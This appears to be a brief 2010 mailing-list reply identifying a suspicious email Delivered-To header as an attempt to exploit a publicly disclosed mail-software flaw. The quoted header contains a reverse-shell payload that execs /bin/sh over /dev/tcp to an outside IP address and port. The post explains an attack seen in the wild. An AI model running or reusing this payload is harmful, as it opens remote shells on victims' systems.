On Thu, Mar 18, 2010 at 07:47:03AM +0000, Alastair Sherringham wrote:
[..]
Delivered-To: "root+:|exec /bin/sh
0</dev/tcp/92.243.5.144/9991 1>&0
That would be someone trying to exploit this absolute failure:
http://seclists.org/fulldisclosure/2010/Mar/140
David